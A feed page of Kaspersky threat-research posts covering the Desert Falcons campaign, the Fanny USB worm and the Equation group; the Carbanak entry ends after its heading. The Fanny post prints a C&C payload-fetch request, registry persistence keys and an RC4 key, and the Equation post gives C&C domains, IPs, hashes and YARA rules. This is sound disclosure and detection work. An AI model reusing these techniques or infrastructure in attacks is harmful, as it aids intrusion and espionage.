Secure List feed for B2B

Syndicate content
Online headquarters of Kaspersky Lab security experts.
Updated: 3 hours 50 min ago

The Desert Falcons targeted attacks

Tue, 02/17/2015 - 14:00

Download Full Report PDF

The Desert Falcons are a new group of Cyber Mercenaries operating in the Middle East and carrying out Cyber Espionage across that region. The group uses an arsenal of homemade malware tools and techniques to execute and conceal its campaigns on PC and Mobile OS.

#FalconsAPT is the 1st known campaign to be fully developed by Arabic #hackers to target the Middle East #TheSAS2015

Tweet

The first Desert Falcons operations were seen in 2011 and the group made its first infections in 2013. By the end of 2014 and beginning of 2015 the group was very active.

Full report

The full report can be found here.

FAQ Where are the Victims Located?

There are more than 3,000 victims in 50+ countries. Most of them are found in Palestine, Egypt, Israel and Jordan, but others have been discovered in Saudi Arabia, the UAE, the US, South Korea, Morocco, Qatar and others.

Who are the Victims?

The attacks targeted several classes of victim, including Military and Government organizations, employees responsible for health organizations, combating money laundering, economic and financial institutions, leading media entities, research and educational institutions, energy and utilities providers, activists and political leaders, physical security companies and other targets that have access to important geopolitical information.

How are the victims infected?

Malware writers use a variety of technical and social engineering methods to deliver their files and encourage victims to run them, creating an effective infection vector. Examples include a fake website that promises to publish censored political information and asks users to download a plugin to view a video (the plugin contains the malware). Another example involves the use of spear phishing emails or social network messages to deliver malicious files using an extension override (e.g. malicious files ending with .fdp.scr would appear .rcs.pdf).

Sample of documents and videos used in spear phishing

What are the goals of the operations?

The attackers are looking for sensitive intelligence information that could help them in further operations or even extortion. The victims are targeted for the secrets in their possession or intelligence information relating to their positions in governments or important organizations.

More than 1 million files were stolen from victims. Stolen files include diplomatic communications from embassies, military plans and documents, financial documents, VIP and Media contact lists and files.

Who are the attackers and what do we know about them?

The Desert Falcons operators are native Arabic speakers. There are about 30 of them working in three teams. Some of their identities are already known. The attackers are running three campaigns to target different types of victim.

Where are the attackers based?

The attackers are based in Palestine, Egypt and Turkey.

Which malware do they use to infect their victims?

There are three main backdoors used to infect victim devices:

Computer backdoors

  • The Main Falcons Trojan
  • The DHS* Spyware Trojan

Computer Backdoors give the attackers full scope to use keyloggers and screenshotters, access files and even make audio recordings. DHS naming is used by the attackers to describe the nickname initials of one of the developers (D** H*** Spyware).

Mobile Backdoor

  • A mobile backdoor targeting Android devices.
    Mobile Backdoors give attackers access to Call and SMS logs

How did you become aware of this threat? Who reported it?

We became aware of the threat during an incident investigation in the Middle East.

Is it still active?

The operation is very active and is currently in peak condition. We are continuously identifying new samples and victims for all related campaigns.

How is this different from any other Cyber espionage attacks?

Desert Falcons are the first known Cyber espionage attacks to be fully developed and operated by Arabic speakers to target the Middle East. It has affected a stunning range of victims, stealing more than 1 million special files.

Is this a nation-state sponsored attack?

The profiles of the targeted victims and the apparent political motives behind the attacks make it possible that Desert Falcons operations could be nation state sponsored. At present, though, this cannot be confirmed.

Why this name?

The falcon is a rare bird that has been highly prized for a centuries in desert countries in the Arab world.  It is a symbol of hunting and sharp vision. The Desert Falcons are proficient cyberhunters with carefully chosen targets, all of whom are thoroughly investigated before the attack and closely watched after being infected.

How can users protect themselves?

Kaspersky Lab products detect and block all variants of the malware used in this campaign:

     Trojan.Win32.DesertFalcons
     Trojan-Spy.Win32.Agent.cncc
     Trojan-Spy.Win32.Agent.ctcr
     Trojan-Spy.Win32.Agent.ctcv
     Trojan-Spy.Win32.Agent.ctcx
     Trojan-Spy.Win32.Agent.cree
     Trojan-Spy.Win32.Agent.ctbz
     Trojan-Spy.Win32.Agent.comn
     Trojan.Win32.Bazon.a

A Fanny Equation: "I am your father, Stuxnet"

Tue, 02/17/2015 - 05:00

At the Virus Bulletin conference in 2010, researchers from Kaspersky Lab partnered with Microsoft to present findings related to Stuxnet. The joint presentation included slides dealing with various parts of Stuxnet, such as the zero-days used in the attack.

Perhaps the most interesting zero-day exploit from Stuxnet was the LNK exploit (CVE-2010-2568). This allowed Stuxnet to propagate through USB drives and infect even machines that had Autorun disabled.

It was discovered during the 2010 research into Stuxnet that the LNK exploit has earlier been used in another malware, supposedly a Zlob PE, that pointed to "fanny.bmp".

Back in 2010, very few people paid much attention to a piece of malware that used the LNK exploit prior to Stuxnet. Zlob is a large malware family and these kinds of crimeware-grade samples are rarely of interest to researchers digging into zero-days and nation-state sponsored operations.

However, during our 2014 research into the Equation group, we created a special detection for the group's exploitation library, codenamed "PrivLib". To our surprise, this detection triggered a worm from 2008 that used the Stuxnet LNK exploit to replicate, codenamed Fanny.

What's so Fanny?

This PrivLib-boosted Worm, which spreads using the Stuxnet LNK exploit and the filename "fanny.bmp" was compiled on Mon Jul 28 11:11:35 2008, if we are to trust the compilation timestamp. It arrived in our December 2008 collection from the wild, so the compilation might very well be correct.

"Fanny my name" could be an introductory message from the authors

The 2008 "Fanny.bmp" Worm is detected by Kaspersky Lab products as Trojan-Downloader.Win32.Agent.bjqt. The malware includes the LNK exploit, which means that it is a piece of malicious software that used the Stuxnet LNK exploit before Stuxnet!

The second Stuxnet exploit (MS09-025)

If one piece of malicious software that used an exploit from Stuxnet before Stuxnet is a good catch, a second Stuxnet exploit makes it even more interesting.

The second exploit used to be a zero-day when Fanny was operational. This means that Fanny used two zero-days to replicate, both of which were later used by Stuxnet. The specific vulnerability used for privilege escalation was patched with MS09-025:

"The security update addresses these vulnerabilities by correcting the methods used for validating a change in specific kernel objects, for validating the input passed from user mode to the kernel, and for validating the argument passed to the system call. The security update also addresses a vulnerability by ensuring that the Windows kernel cleans up pointers under error conditions."

The same exploit was later used in an early Stuxnet module from 2009, which was embedded into a large binary built using the Flame platform. That Stuxnet module, also known as "atmpsvcn.ocx" or Resource 207 was the technical link between Stuxnet and Flame. This story has previously been covered in our post.

#Fanny used two zero-days to replicate, both of which were later used by #Stuxnet #EquationAPT #TheSAS2015

Tweet

While the vulnerability exploited by both the Stuxnet/Flame module and Fanny is the same, the implementation of the exploit is different. The exploit in Stuxnet targets a specific OS version, while Fanny is designed to be universal and is capable of running on multiple platforms. It has a unique shellcode and exploit-triggering procedures for:

  • Windows NT 4.0
  • Windows 2000
  • Windows XP
  • Windows 2003
  • Windows Vista, 2008 and possibly others from NT6.x family

The implementation of the exploit in Fanny is more complex than in Stuxnet: instead of running just one payload the authors created a framework to run as many payloads as they want by replacing a system service call dispatcher nt!NtShutdownSystem with their own custom pointer from  theuser-space as shown in the next figure.

Fanny injected its own system service call dispatcher

This enables a persistent trampoline from user-mode to kernel-mode. This feature was not present in the Stuxnet module but there are other similarities. For instance, it seems that both the developers of Stuxnet and of Fanny follow certain coding guidelines such as the usage of unique magic numbers from each function call. Most of the returned results are simply disposed but they are still part of the code. This could be the remains of a debug version of the code which could potentially log every step in the code to ease the tracking down of an error while testing. In complex systems where kernel and user-space code is running with no interaction this seems a logical and even essential method. Again, it's implemented both in the Stuxnet code and in Fanny. See next figure.

Stuxnet (on the left) and Fanny (on the right) using magic return values

The Fanny Malware

So, what is Fanny essentially? It is a USB Worm with a sophisticated backdoor that uses the so-called "Stuxnet LNK vulnerability" to automatically execute from the USB drive even if Autorun has been disabled. It can elevate privileges to the local System using kernel exploit and drops and registers additional modules. It attempts to connect to a C&C server and deploys additional components if connection is available. If not, it uses the USB drive as a carrier to send/receive requests to and from the operator via a hidden storage area created in raw FAT structure.

Typically a victim plugs in a new USB drive and opens it with Windows Explorer. You can visually observe the two stages of infection from the USB which take seconds to execute.

Fanny modules MD5 0a209ac0de4ac033f31d6ba9191a8f7a Size 184320 Type Win32 DLL Internal name dll_installer.dll Compiled 2008.07.28 08:11:35 (GMT)

This file is a DLL with two exports (to install and uninstall the malware). It contains a xor-encrypted config in binary resource with number 101. The config determines malware behavior: there is a command to deploy malware on the current system, URLs for the C&C server and local filenames and paths used to install embedded malware components.

Fanny components inside the main executable

Upon starting it checks the following mutexes:

  • Global\RPCMutex
  • Global\RPCMutex

Where is a 1-byte long integer taken from the config. If any of these mutexes exist, the code doesn't run. It means that another instance of the same code is running. InstanceNum most likely identifies a variant or generation of Fanny preventing the same version from reinfecting the system but allowing for different versions to run (possibly to enable enforced update of components).

The module also checks another important byte in its configuration. This byte is a counter that is decreased during successful system infection. When the counter reaches a minimal value of one the module cleans up the USB drive and stops spreading the worm. In this way the attackers limit the maximum length of the Worm's killchain.

If the module is named "fanny.bmp" (the file name that Fanny uses to spread via USB drives) the module self-installs from the USB drive.

As part of the initial infection process Fanny attempts to elevate current privileges if the user has no administrative rights on the current system. It uses a vulnerability patched by MS09-025 for that purpose. Only if the elevation succeeds does the malware attempt to connect to the C&C server using a URL which is stored in the config:

  • http://webuysupplystore[.]mooo[.]com/ads/QueryRecord200586_f2ahx.html

Below is a sample request issued by the malware:

GET /ads/QueryRecord200586_f2ahx.html HTTP/1.1
User-Agent: Mozilla/4.0 (compatible;)
Host: webuysupplystore.mooo.com

The malware expects the C&C server to reply with an HTTP 200 response and append a 0x7f-xored string that has a second stage URL. The second stage response may contain an executable file body which is saved on disk and executed.

The C&C server is currently sinkholed by Kaspersky Lab, but according to our pDNS records it previously pointed to the following IP address:

  • 210.81.22.239
IP information

The following describes the stages that were identified during the analysis of the initial and embedded components of Fanny.

Infection

The module searches for fanny.bmp in the root of disk drives starting from drive D: and copies it to the following locations:

  • %WINDIR%\system32\comhost.dll
  • %WINDIR%\system32\mscorwin.dll

Why does Fanny make two copies of itself? Actually, there is a minor difference between these two files. Fanny patches its config in the resource section of one of the files (comhost.dll). The patched data is the value of remained maximum length of the Fanny killchain. "mscorwin.dll" is the original file copied as-is from the removable drive. So far, one copy is used for infecting other USB drives, the other is loaded on the system boot.

It also copies all *.lnk files from the USB drive to "%WINDIR%\system32\" in order to reuse them when infecting other attached USB drives. Note that there may be more than one LNK file, because each LNK contains a distinct path to the DLL which gets loaded. As far as the letter of a new drive on the target system is unknown, Fanny uses several LNKs for the most common drive letters. This method was improved later in Stuxnet, which used a relative DeviceID-dependent path to the USB drive. However, even that method required several LNK files (up to four) because of different relative paths on different versions of Windows, but that's far fewer than an almost full set of letters from the Latin alphabet.

Persistence

Fanny creates the following registry value to achieve persistence:
HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\Driver.

This is not a common way to make code start automatically on a system boot and it's extremely invasive, but it guarantees that the module is loaded in the address space of each process in the system, including some critical processes such as lsass.exe and services.exe running as SYSTEM user.

When the module is loaded it checks other values that start from "filter" in the same registry key, i.e.:

  • HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter2
  • HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter3
  • HKLM\System\CurrentControlSet\Control\MediaResources\acm\ECELP4\filter8

The values contain a hosting process name and a path to a DLL or EXE file. If the current process name contains the value set as hosting process, then the module loads a DLL or starts a new process (in case of EXE file) depending on target file extension.

This is a map of the processes and modules that are used in Fanny:

Process Fanny module Short Description winlogon c:\windows\MSAgent\AGENTCPD.DLL USB backdoor explorer c:\windows\system32\shelldoc.dll Windows Explorer rootkit lsass c:\windows\system32\mscorwin.dll USB worm USB Worm

The code of the actual Worm is part of %WINDIR%\system32\comhost.dll export with ordinal 4 (name of export is "dll_installer_4"). The DLL is a modified next-generation Worm which is copied to every attached USB drive with all related LNK files stored in Windows\System32 directory. This module is distributed by mscorwin.dll which is part of the lsass system process.

Windows Explorer Rootkit

The rootkit functionality is provided by a shelldoc.dll file loaded in the Windows Explorer process. It hides some Fanny-related files (LNK-files and fanny.bmp) in Windows Explorer by removing them from the list of items in the foreground window that uses SysListView32 control (normally Windows Explorer window).

Some screenshots with disappearing files were demonstrated previously, however sometimes this approach may raise suspicions. Here is what it looks like if the user opens a system32 directory with Explorer:

Seven Fanny-related file icons disappeared in Windows Explorer

Apparently, it looks as if some of the file icons were cut off. In addition some of standard directories seem to be missing due to a bug in the rootkit code. It appears as if this component was not tested properly by the authors.

Masquerade Mode On

There is an interesting part of the code in USB Backdoor DLL which at first glance doesn't make much sense. It takes some hardcoded constants and generates a random value which is saved to a registry key.

Fanny generates random values that are saved to the registry

Then it moves the current executable which is hosting the DLL to c:\windows\system32\msdtc32.exe. After that the executable path is appended to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell registry value which makes this executable run on system boot.

The trick to mimic the behavior of traditional malware was used to avoid revealing further secret activities #Fanny

Tweet

This may look like a traditional way for malware to add itself to autostart, but don't be fooled by that. The purpose of this move is to make certain automated systems and software, such as those based on sandboxes and emulators, believe that they have caught some known malware and not to let it run further. It seems that the component is so unique that the authors decided to avoid the risk of looking even more suspect. It might seem a paradox, but the authors prefer this code to be detected as malware if someone is checking it. The trick is to mimic the behavior of some traditional cybercriminal malware, a bot, and get detected as soon as possible, thereby not revealing any further secret activities. Considering that this component was spreading via USB drives and could pop up on many systems, discovering it as a traditional bot would put it in lower risk zone and as a result the malware would probably end up being deleted without proper analysis.

This might explain why this code was detected as a variant of Zlob malware in the past and no one paid proper attention to it.

USB Backdoor

One of the modules, agentcpd.dll, is a backdoor that was designed to work as an advanced reconnaissance tool for air-gapped computers that are normally used in highly secure facilities. The backdoor waits for a USB drive to be plugged in and if that's a new disk, it instantly allocates some space for a hidden container using its own FAT16/FAT32 filesystem driver.

This is what the FAT root directory looks like before and after plugging a USB drive into an infected machine:

Hexdump of raw disk partition before and after plugging into an infected machine

On top of this hexdump the drive label "MYDRIVE" can be found (corresponding hex bytes are underlined with green). It is followed by a single byte flag value (0x08 in hex) which, according to Microsoft, means ATTR_VOLUME_ID. Each entry in this root directory table is 32-bytes long.

Subdirectory entries such as Pictures, Music, Documents and Work occupy 63 bytes, because of the long filename FAT feature. There are two variants of subdirectory names – short and long. A subdirectory entry uses a flag 0x10 following the short directory name, which, according to Microsoft, means ATTR_DIRECTORY.

The last record inserted by Fanny (highlighted in red) uses an invalid directory name and a flag 0x18, which combines ATTR_VOLUME_ID and ATTR_DIRECTORY. This combination of flags is not documented according to current FAT specifications and the whole entry is therefore ignored by filesystem drivers as if it were a data corruption or a bad block. As a result this entry is not visible in Windows, Mac OS and Linux and probably all other implementations of FAT driver.

It's possible that #Fanny was used to map some of the future targets of #Stuxnet #EquationAPT #TheSAS2015

Tweet

While Fanny doesn't rigorously protect data in hidden storage (it doesn't mark the allocated space as bad blocks, probably to avoid attention), it changes the filesystem driver hint value indicating where to look for the next free cluster. In this way it reserves disk space of approximately 1Mb in size to use for a hidden storage.

When Fanny detects a new USB drive, with the help of its own FAT driver it looks into the root directory and locates the entry which starts with magic value 51 50 40 98 (see above). It then uses the offset which follows the flag value of 0x18. On the figure above it is set to 0x001e9c00. This offset on the same USB disk will have another magic value D0 CF CE CD serving as a marker for the beginning of the hidden storage:

Hexdump of Fanny hidden storage with list of running processes

Once Fanny has allocated space for hidden storage it populates the storage with basic information about the current system: i.e. OS Version, Service Pack number, computer name, user name, company name, list of running processes, etc.

This secret storage is also used to pass commands to computers that are not connected to the Internet. According to Fanny code, the container may carry additional components and internal commands: such as to copy certain file from the local filesystem to the USB drive (locations are defined as parameters, the file is set hidden and system file attributes), or to update the configuration block. It uses RC4 with the following hard-coded key to protect critical information:

18 05 39 44 AB 19 78 88  C4 13 33 27 D5 10 6C 25

When the USB drive travels to another infected computer connected to the Internet it can be used to carry important files and provide a way to interact with the operator. This simple and extremely slow method of communication is not used by traditional cybercriminals, that is why the whole code looks like a toolkit for professional cyberespionage. This component is one of the rare malware samples from a new class of malware called USB-Backdoors.

If you find this or a similar code of USB-Backdoor on some of your systems this is an indicator of a professional cyberattack.

Sinkholing and victim statistics

We sinkholed the Fanny C&C server and collected victim statistics, shown below. In total, we observed over 11,200 unique IPs connecting to the sinkhole server over a period of five months:

At the moment, the vast majority of victims are located in Pakistan (a whopping 59.36%). Indonesia and Vietnam follow at great distance, with 15.99% and 14.17% respectively. The infection numbers in other countries are probably too small to be relevant.

Of course, this could raise the question: was Pakistan the true target of Fanny? To be honest, we do not know. The current infection situation might be different from what it was in 2008-2010. Considering that there are still over ten thousand victims worldwide, the number back in 2009 might have been much, much higher – perhaps even as high as  50,000 infections. It may be relevant that Pakistan is a top target for the Equation group's other malware, along with Russia and Iran.

Conclusion

With Fanny, we begin yet another chapter in the story of Stuxnet, the Equation Group and Flame. Created in 2008, Fanny used two zero-day exploits. These two were added to Stuxnet in June 2009 and March 2010. Effectively, it means that the Equation group had access to these zero-days (and others) years before the Stuxnet group did.

While the true target of Fanny remains unknown, its unique capability to map air-gapped networks and communicate via USB sticks indicate a lot of work went into gaining the ability to access these air-gapped networks. As a precursor for the versions of Stuxnet that could replicate through the network, it's possible that Fanny was used to map some of the future targets of Stuxnet.

Another unusual fact is the very high number of infections coming from Pakistan. Since Fanny spreads only through USB sticks, which is rather slow, this indicates that the infection began in Pakistan, possibly before many other countries.

Was Fanny used to map some highly sensitive networks in Pakistan, for an unknown purpose, or was it used in preparation for Stuxnet? Perhaps time will tell.

Equation: The Death Star of Malware Galaxy

Mon, 02/16/2015 - 14:55

Download "Equation group: questions and answers" PDF

"Houston, we have a problem"

One sunny day in 2009, Grzegorz Brzęczyszczykiewicz1 embarked on a flight to the burgeoning city of Houston to attend a prestigious international scientific conference. As a leading scientist in his field, such trips were common for Grzegorz. Over the next couple of days, Mr Brzęczyszczykiewicz exchanged business cards with other researchers and talked about  the kind of important issues such high level scientists would discuss (which is another way of saying "who knows?").  But, all good things must come to an end; the conference finished and Grzegorz Brzęczyszczykiewicz flew back home, carrying with him many highlights from a memorable event. Sometime later, as is customary for such events, the organizers sent all the participants a CDROM carrying many beautiful pictures from the conference. As Grzegorz put the CDROM in his computer and the slideshow opened, he little suspected he had just became the victim of an almost omnipotent cyberespionage organization that had just infected his computer through the use of three exploits, two of them being zero-days.

A rendezvous with the "God" of cyberespionage

It is not known when the Equation2 group began their ascent. Some of the earliest malware samples we have seen were compiled in 2002; however, their C&C was registered in August 2001. Other C&Cs used by the Equation group appear to have been registered as early as 1996, which could indicate this group has been active for almost two decades. For many years they have interacted with other powerful groups, such as the Stuxnet and Flame groups; always from a position of superiority, as they had access to exploits earlier than the others.

The #EquationAPT group is probably one of the most sophisticated cyber attack groups in the world #TheSAS2015

Tweet

Since 2001, the Equation group has been busy infecting thousands, or perhaps even tens of thousands of victims throughout the world, in the following sectors:

  • Government and diplomatic institutions
  • Telecoms
  • Aerospace
  • Energy
  • Nuclear research
  • Oil and gas
  • Military
  • Nanotechnology
  • Islamic activists and scholars
  • Mass media
  • Transportation
  • Financial institutions
  • Companies developing encryption technologies

To infect their victims, the Equation group uses a powerful arsenal of "implants" (as they call their Trojans), including the following we have created names for: EQUATIONLASER, EQUATIONDRUG, DOUBLEFANTASY, TRIPLEFANTASY, FANNY and GRAYFISH. No doubt other "implants" exist which we have yet to identify and name.

The #EquationAPT group interacted with other powerful groups, such as the #Stuxnet and #Flame groups #TheSAS2015

Tweet

The group itself has many codenames for their tools and implants, including SKYHOOKCHOW, UR, KS, SF, STEALTHFIGHTER, DRINKPARSLEY, STRAITACID, LUTEUSOBSTOS, STRAITSHOOTER, DESERTWINTER and GROK. Incredible as it may seem for such an elite group, one of the developers made the unforgivable mistake  of leaving his username: "RMGREE5", in one of the malware samples as part of his working folder: "c:\users\rmgree5\".

Perhaps the most powerful tool in the Equation group's arsenal is a mysterious module known only by a cryptic name: "nls_933w.dll". It allows them to reprogram the hard drive firmware of over a dozen different hard drive brands, including Seagate, Western Digital, Toshiba, Maxtor and IBM. This is an astonishing technical accomplishment and is testament to the group's abilities.

Over the past years, the Equation group has performed many different attacks.  One stands out: the Fanny worm. Presumably compiled in July 2008, it was first observed and blocked by our systems in December 2008. Fanny used two zero-day exploits, which were later uncovered during the discovery of Stuxnet. To spread, it used the Stuxnet LNK exploit and USB sticks. For escalation of privilege, Fanny used a vulnerability patched by the Microsoft bulletin MS09-025, which was also used in one of the early versions of Stuxnet from 2009.

LNK exploit as used by Fanny

It's important to point out that these two exploits were used in Fanny before they were integrated into Stuxnet, indicating that the Equation group had access to these zero-days before the Stuxnet group. The main purpose of Fanny was the mapping of air-gapped networks. For this, it used a unique USB-based command and control mechanism which allowed the attackers to pass data back and forth from air-gapped networks.

Two zero-day exploits were used by the #EquationAPT group before they were integrated into #Stuxnet #TheSAS2015

Tweet

In the coming days, we will publish more details about the Equation group malware and their attacks. The first document to be published will be a general FAQ on the group together with indicators of compromise.

By publishing this information, we hope to bring it to the attention of the ITSec community as well as independent researchers, who can extend the understanding of these attacks. The more we investigate such cyberespionage operations, we more we understand how little we actually know about them. Together, we can lift this veil and work towards a more secure (cyber-)world.

Download "Equation group: questions and answers" PDF

Indicators of compromise ("one of each"): Name EquationLaser MD5 752af597e6d9fd70396accc0b9013dbe Type EquationLaser installer Compiled Mon Oct 18 15:24:05 2004 Name Disk from Houston "autorun.exe" with EoP exploits MD5 6fe6c03b938580ebf9b82f3b9cd4c4aa Type EoP package and malware launcher Compiled Wed Dec 23 15:37:33 2009 Name DoubleFantasy MD5 2a12630ff976ba0994143ca93fecd17f Type DoubleFantasy installer Compiled Fri Apr 30 01:03:53 2010 Name EquationDrug MD5 4556ce5eb007af1de5bd3b457f0b216d Type EquationDrug installer ("LUTEUSOBSTOS") Compiled Tue Dec 11 20:47:12 2007 Name GrayFish MD5 9b1ca66aab784dc5f1dfe635d8f8a904 Type GrayFish installer Compiled Compiled: Fri Feb 01 22:15:21 2008 (installer) Name Fanny MD5 0a209ac0de4ac033f31d6ba9191a8f7a Type Fanny worm Compiled Mon Jul 28 11:11:35 2008 Name TripleFantasy   MD5 9180d5affe1e5df0717d7385e7f54386 loader (17920 bytes .DLL) Type ba39212c5b58b97bfc9f5bc431170827 encrypted payload (.DAT) Compiled various, possibly fake   Name _SD_IP_CF.dll - unknown MD5 03718676311de33dd0b8f4f18cffd488 Type DoubleFantasy installer + LNK exploit package Compiled Fri Feb 13 10:50:23 2009 Name nls_933w.dll MD5 11fb08b9126cdb4668b3f5135cf7a6c5 Type HDD reprogramming module Compiled Tue Jun 15 20:23:37 2010 Name standalonegrok_2.1.1.1 / GROK MD5 24a6ec8ebf9c0867ed1c097f4a653b8d Type GROK keylogger Compiled Tue Aug 09 03:26:22 2011 C&C servers (hostnames and IPs): DoubleFantasy: advancing-technology[.]com
avidnewssource[.]com
businessdealsblog[.]com
businessedgeadvance[.]com
charging-technology[.]com
computertechanalysis[.]com
config.getmyip[.]com - SINKHOLED BY KASPERSKY LAB
globalnetworkanalys[.]com
melding-technology[.]com
myhousetechnews[.]com - SINKHOLED BY KASPERSKY LAB
newsterminalvelocity[.]com - SINKHOLED BY KASPERSKY LAB
selective-business[.]com
slayinglance[.]com
successful-marketing-now[.]com - SINKHOLED BY KASPERSKY LAB
taking-technology[.]com
techasiamusicsvr[.]com - SINKHOLED BY KASPERSKY LAB
technicaldigitalreporting[.]com
timelywebsitehostesses[.]com
www.dt1blog[.]com
www.forboringbusinesses[.]com EquationLaser: lsassoc[.]com - re-registered, not malicious at the moment
gar-tech[.]com - SINKHOLED BY KASPERSKY LAB Fanny: webuysupplystore.mooo[.]com - SINKHOLED BY KASPERSKY LAB EquationDrug: newjunk4u[.]com
easyadvertonline[.]com
newip427.changeip[.]net - SINKHOLED BY KASPERSKY LAB
ad-servicestats[.]net - SINKHOLED BY KASPERSKY LAB
subad-server[.]com - SINKHOLED BY KASPERSKY LAB
ad-noise[.]net
ad-void[.]com
aynachatsrv[.]com
damavandkuh[.]com
fnlpic[.]com
monster-ads[.]net
nowruzbakher[.]com
sherkhundi[.]com
quik-serv[.]com
nickleplatedads[.]com
arabtechmessenger[.]net
amazinggreentechshop[.]com
foroushi[.]net
technicserv[.]com
goldadpremium[.]com
honarkhaneh[.]net
parskabab[.]com
technicupdate[.]com
technicads[.]com
customerscreensavers[.]com
darakht[.]com
ghalibaft[.]com
adservicestats[.]com
247adbiz[.]net - SINKHOLED BY KASPERSKY LAB
webbizwild[.]com
roshanavar[.]com
afkarehroshan[.]com
thesuperdeliciousnews[.]com
adsbizsimple[.]com
goodbizez[.]com
meevehdar[.]com
xlivehost[.]com
gar-tech[.]com - SINKHOLED BY KASPERSKY LAB
downloadmpplayer[.]com
honarkhabar[.]com
techsupportpwr[.]com
webbizwild[.]com
zhalehziba[.]com
serv-load[.]com
wangluoruanjian[.]com
islamicmarketing[.]net
noticiasftpsrv[.]com
coffeehausblog[.]com
platads[.]com
havakhosh[.]com
toofanshadid[.]com
bazandegan[.]com
sherkatkonandeh[.]com
mashinkhabar[.]com
quickupdateserv[.]com
rapidlyserv[.]com GrayFish: ad-noise[.]net
business-made-fun[.]com
businessdirectnessource[.]com
charmedno1[.]com
cribdare2no[.]com
dowelsobject[.]com
following-technology[.]com
forgotten-deals[.]com
functional-business[.]com
housedman[.]com
industry-deals[.]com
listennewsnetwork[.]com
phoneysoap[.]com
posed2shade[.]com
quik-serv[.]com
rehabretie[.]com
speedynewsclips[.]com
teatac4bath[.]com
unite3tubes[.]com
unwashedsound[.]com TripleFantasy: arm2pie[.]com
brittlefilet[.]com
cigape[.]net
crisptic01[.]net
fliteilex[.]com
itemagic[.]net
micraamber[.]net
mimicrice[.]com
rampagegramar[.]com
rubi4edit[.]com
rubiccrum[.]com
rubriccrumb[.]com
team4heat[.]net
tropiccritics[.]com Equation group's exploitation servers: standardsandpraiserepurpose[.]com
suddenplot[.]com
technicalconsumerreports[.]com
technology-revealed[.]com IPs hardcoded in malware configuration blocks: 149.12.71.2
190.242.96.212
190.60.202.4
195.128.235.227
195.128.235.231
195.128.235.233
195.128.235.235
195.81.34.67
202.95.84.33
203.150.231.49
203.150.231.73
210.81.52.120
212.61.54.239
41.222.35.70
62.216.152.67
64.76.82.52
80.77.4.3
81.31.34.175
81.31.36.174
81.31.38.163
81.31.38.166
84.233.205.99
85.112.1.83
87.255.38.2
89.18.177.3 Kaspersky products detection names:
  • Backdoor.Win32.Laserv
  • Backdoor.Win32.Laserv.b
  • Exploit.Java.CVE-2012-1723.ad
  • HEUR:Exploit.Java.CVE-2012-1723.gen
  • HEUR:Exploit.Java.Generic
  • HEUR:Trojan.Java.Generic
  • HEUR:Trojan.Win32.DoubleFantasy.gen
  • HEUR:Trojan.Win32.EquationDrug.gen
  • HEUR:Trojan.Win32.Generic
  • HEUR:Trojan.Win32.GrayFish.gen
  • HEUR:Trojan.Win32.TripleFantasy.gen
  • Rootkit.Boot.Grayfish.a
  • Trojan-Downloader.Win32.Agent.bjqt
  • Trojan.Boot.Grayfish.a
  • Trojan.Win32.Agent.ajkoe
  • Trojan.Win32.Agent.iedc
  • Trojan.Win32.Agent2.jmk
  • Trojan.Win32.Diple.fzbb
  • Trojan.Win32.DoubleFantasy.a
  • Trojan.Win32.DoubleFantasy.gen
  • Trojan.Win32.EquationDrug.b
  • Trojan.Win32.EquationDrug.c
  • Trojan.Win32.EquationDrug.d
  • Trojan.Win32.EquationDrug.e
  • Trojan.Win32.EquationDrug.f
  • Trojan.Win32.EquationDrug.g
  • Trojan.Win32.EquationDrug.h
  • Trojan.Win32.EquationDrug.i
  • Trojan.Win32.EquationDrug.j
  • Trojan.Win32.EquationDrug.k
  • Trojan.Win32.EquationLaser.a
  • Trojan.Win32.EquationLaser.c
  • Trojan.Win32.EquationLaser.d
  • Trojan.Win32.Genome.agegx
  • Trojan.Win32.Genome.akyzh
  • Trojan.Win32.Genome.ammqt
  • Trojan.Win32.Genome.dyvi
  • Trojan.Win32.Genome.ihcl
  • Trojan.Win32.Patched.kc
  • Trojan.Win64.EquationDrug.a
  • Trojan.Win64.EquationDrug.b
  • Trojan.Win64.Rozena.rpcs
  • Worm.Win32.AutoRun.wzs
Yara rules: rule apt_equation_exploitlib_mutexes { meta: copyright = "Kaspersky Lab" description = "Rule to detect Equation group's Exploitation library" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings: $mz="MZ" $a1="prkMtx" wide $a2="cnFormSyncExFBC" wide $a3="cnFormVoidFBC" wide $a4="cnFormSyncExFBC" $a5="cnFormVoidFBC" condition: (($mz at 0) and any of ($a*)) } rule apt_equation_doublefantasy_genericresource { meta: copyright = "Kaspersky Lab" description = "Rule to detect DoubleFantasy encoded config" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings: $mz="MZ" $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00} $a2="yyyyyyyyyyyyyyyy" $a3="002" condition: (($mz at 0) and all of ($a*)) and filesize < 500000 } rule apt_equation_equationlaser_runtimeclasses { meta: copyright = "Kaspersky Lab" description = "Rule to detect the EquationLaser malware" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings: $a1="?a73957838_2@@YAXXZ" $a2="?a84884@@YAXXZ" $a3="?b823838_9839@@YAXXZ" $a4="?e747383_94@@YAXXZ" $a5="?e83834@@YAXXZ" $a6="?e929348_827@@YAXXZ" condition: any of them } rule apt_equation_cryptotable { meta: copyright = "Kaspersky Lab" description = "Rule to detect the crypto library used in Equation group malware" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings: $a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1} condition: $a }

 

1 pseudonym, to protect the original victim's identity >>
2 the name "Equation group" was given because of their preference for sophisticated encryption schemes >>

The Great Bank Robbery: the Carbanak APT

Mon, 02/16/2015 - 12:20

Download Full Report PDF

